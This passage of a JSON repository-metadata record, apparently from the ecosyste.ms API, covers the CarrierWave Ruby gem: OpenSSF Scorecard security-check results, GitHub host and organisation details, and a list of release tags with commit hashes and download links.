analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":0,"reason":"license file not detected","details":["Warn: project does not have a license file"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 15 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T12:15:17.296Z","repository_id":426955,"created_at":"2025-08-17T12:15:17.296Z","updated_at":"2025-08-17T12:15:17.296Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":36320704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-07-20T02:08:10.276Z","status":"online","status_checked_at":"2026-08-05T02:00:06.619Z","response_time":104,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"carrierwaveuploader","name":"CarrierWave","uuid":"3982589","kind":"organization","description":null,"email":null,"website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/3982589?v=4","repositories_count":7,"last_synced_at":"2024-03-25T21:59:40.930Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/carrierwaveuploader","funding_links":[],"total_stars":9677,"followers":8,"following":0,"created_at":"2022-11-02T17:12:49.258Z","updated_at":"2024-03-25T21:59:42.171Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/carrierwaveuploader/repositories"},"tags":[{"name":"v2.2.7","sha":"690c44b63592ba8ff5b423e2565c1f75338dd2e3","kind":"tag","published_at":"2026-05-23T05:39:48.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.7/manifests"},{"name":"v3.1.3","sha":"5effe4ecaae967c48d6d434f89eb71b8263dd4d4","kind":"tag","published_at":"2026-05-23T05:36:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.3/manifests"},{"name":"v3.1.2","sha":"8e5db8cb0b01b1d06b95d46fedf2e0c2a445a0e9","kind":"tag","published_at":"2025-04-13T06:02:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.2/manifests"},{"name":"v3.1.1","sha":"550e423fbd5cd45cac262e2c5d13bfe778be5093","kind":"tag","published_at":"2025-01-12T09:38:42.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"d85c9e6e1fc1a6b5dfadba34489f128c75b549ba","kind":"tag","published_at":"2024-12-14T08:54:06.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0/manifests"},{"name":"v3.1.0.rc","sha":"db7a7ebdd6abffa97c24abf7a52321f0ca3d5dd6","kind":"tag","published_at":"2024-12-07T05:11:18.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.rc/manifests"},{"name":"v3.1.0.beta","sha":"2e8bfc042ded9b51a8129ed41baf9283fd67aef6","kind":"tag","published_at":"2024-09-01T10:28:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.1.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.1.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.1.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.1.0.beta/manifests"},{"name":"v3.0.7","sha":"cf2f011774ff449b3107c422540610e698d3dc28","kind":"tag","published_at":"2024-03-23T08:16:52.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.7","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.7/manifests"},{"name":"v2.2.6","sha":"eb6359e79fee43d1c480b0f50d9a585b3c3b1c1c","kind":"tag","published_at":"2024-03-23T08:16:37.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.6/manifests"},{"name":"v3.0.6","sha":"a18e13c9a183a036758c6c9efed6608f17c9b919","kind":"tag","published_at":"2024-03-09T09:50:35.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.6","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.6/manifests"},{"name":"v2.2.5","sha":"0fcff94cebce07b856531d6502b11466e8331409","kind":"tag","published_at":"2023-11-29T04:42:53.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.5/manifests"},{"name":"v3.0.5","sha":"5316b352b6ed38595e99622eeb954a2cd0b1d5c2","kind":"tag","published_at":"2023-11-29T04:35:31.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.5","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.5/manifests"},{"name":"v3.0.4","sha":"0c50a8bc7d1c39fe15be056fb22c7b110b9815ae","kind":"tag","published_at":"2023-10-08T09:42:12.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.4/manifests"},{"name":"v1.3.4","sha":"25b289e928eadc049d2c5f00d8b6864f451fcf79","kind":"tag","published_at":"2023-09-24T09:19:20.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.4/manifests"},{"name":"v3.0.3","sha":"f31546ac41c6a11480425b1528e6834581da2726","kind":"tag","published_at":"2023-08-21T02:43:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.3/manifests"},{"name":"v3.0.2","sha":"d339c275f49de70547c2e5e6145e72fdfdc6379a","kind":"tag","published_at":"2023-08-01T07:15:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.2/manifests"},{"name":"v3.0.1","sha":"3bdbfda18ab3e6aa07a3954f3c6f11d69437a1d8","kind":"tag","published_at":"2023-07-22T09:36:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.1/manifests"},{"name":"v3.0.0","sha":"269c37a6c8609c26915f31ccfada512ef12fb3cb","kind":"tag","published_at":"2023-07-02T09:22:13.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0/manifests"},{"name":"v3.0.0.rc","sha":"114d5935e137825266ecd7cfe2ceadb07ce9b96f","kind":"tag","published_at":"2023-06-11T09:56:50.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.rc/manifests"},{"name":"v2.2.4","sha":"2f91bee6487d8e5d8bd2c1a88dd25269a2c1e4d0","kind":"tag","published_at":"2023-06-10T06:22:25.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.4","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.4/manifests"},{"name":"v1.3.3","sha":"c5565e00f2898a3c78bc197662e53e5e535dc708","kind":"tag","published_at":"2023-02-02T10:40:51.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.3/manifests"},{"name":"v2.2.3","sha":"baf5df7d9acea95f46eaea456743241ef3d644f5","kind":"tag","published_at":"2022-11-21T09:10:29.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.3/manifests"},{"name":"v3.0.0.beta","sha":"6cb797aca9aaaf2e12257ced4f4709fbdafaff7c","kind":"tag","published_at":"2022-11-19T10:19:08.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v3.0.0.beta","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v3.0.0.beta","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v3.0.0.beta","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v3.0.0.beta/manifests"},{"name":"v2.2.2","sha":"32abf5b2caf7baa8fca74324009bc1fe1acbed14","kind":"tag","published_at":"2021-05-28T10:09:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"2dba2c1a45f3a8a4ac3e6abef3151dc2d8b9d641","kind":"tag","published_at":"2021-03-30T03:43:15.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"13330a70323cde83b319520f5c1874227de79cdf","kind":"tag","published_at":"2021-02-23T08:00:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.2.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.2.0/manifests"},{"name":"v2.1.1","sha":"003e2ceeaa856f2605cf8096b401e76168ffc8ba","kind":"tag","published_at":"2021-02-08T04:52:04.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.1/manifests"},{"name":"v1.3.2","sha":"56f39b23d16431a79faf8e361d4ee08238db2f66","kind":"tag","published_at":"2021-02-08T04:29:33.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.2/manifests"},{"name":"v2.1.0","sha":"3356634d80d372c458030460978c3b63c006e042","kind":"tag","published_at":"2020-02-16T09:11:07.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.1.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"f81bb4d90c610c4e5d68c2057ab977620d7089a1","kind":"tag","published_at":"2019-09-28T05:10:56.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.2/manifests"},{"name":"v2.0.1","sha":"e1c3eea981ad3963bf5bf5af586286abd1252caa","kind":"tag","published_at":"2019-08-31T03:41:02.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.1/manifests"},{"name":"v2.0.0","sha":"96a0b03c415f816d39f539126759f2278ce36c74","kind":"tag","published_at":"2019-08-18T04:29:55.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0/manifests"},{"name":"v2.0.0.rc","sha":"0e8742be085410f1e08ef9f42c717267100d92e9","kind":"tag","published_at":"2019-06-23T08:23:34.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v2.0.0.rc","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v2.0.0.rc","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v2.0.0.rc","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v2.0.0.rc/manifests"},{"name":"v1.3.1","sha":"9d17a443d39ddf0c44bac985f69bf4c94d923a16","kind":"tag","published_at":"2018-12-29T09:55:27.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.1","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"930abb7b2043999b1648ba1c2274585ccaf014e4","kind":"tag","published_at":"2018-12-24T10:23:59.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.3.0","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.3.0/manifests"},{"name":"v1.2.3","sha":"61c3ba833e7d0f06da40c7672d9de1694d5f2cbc","kind":"tag","published_at":"2018-06-30T07:29:28.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.3","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.3/manifests"},{"name":"v1.2.2","sha":"9ffd67e4c443d4ab750352ad7470301908f4fdfb","kind":"tag","published_at":"2018-01-02T09:20:46.000Z","download_url":"https://codeload.github.com/carrierwaveuploader/carrierwave/tar.gz/v1.2.2","html_url":"https://github.com/carrierwaveuploader/carrierwave/releases/tag/v1.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/carrierwaveuploader/carrierwave@v1.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/carrierwaveuploader%2Fcarrierwave/tags/v1.2.2","manifests_url":"h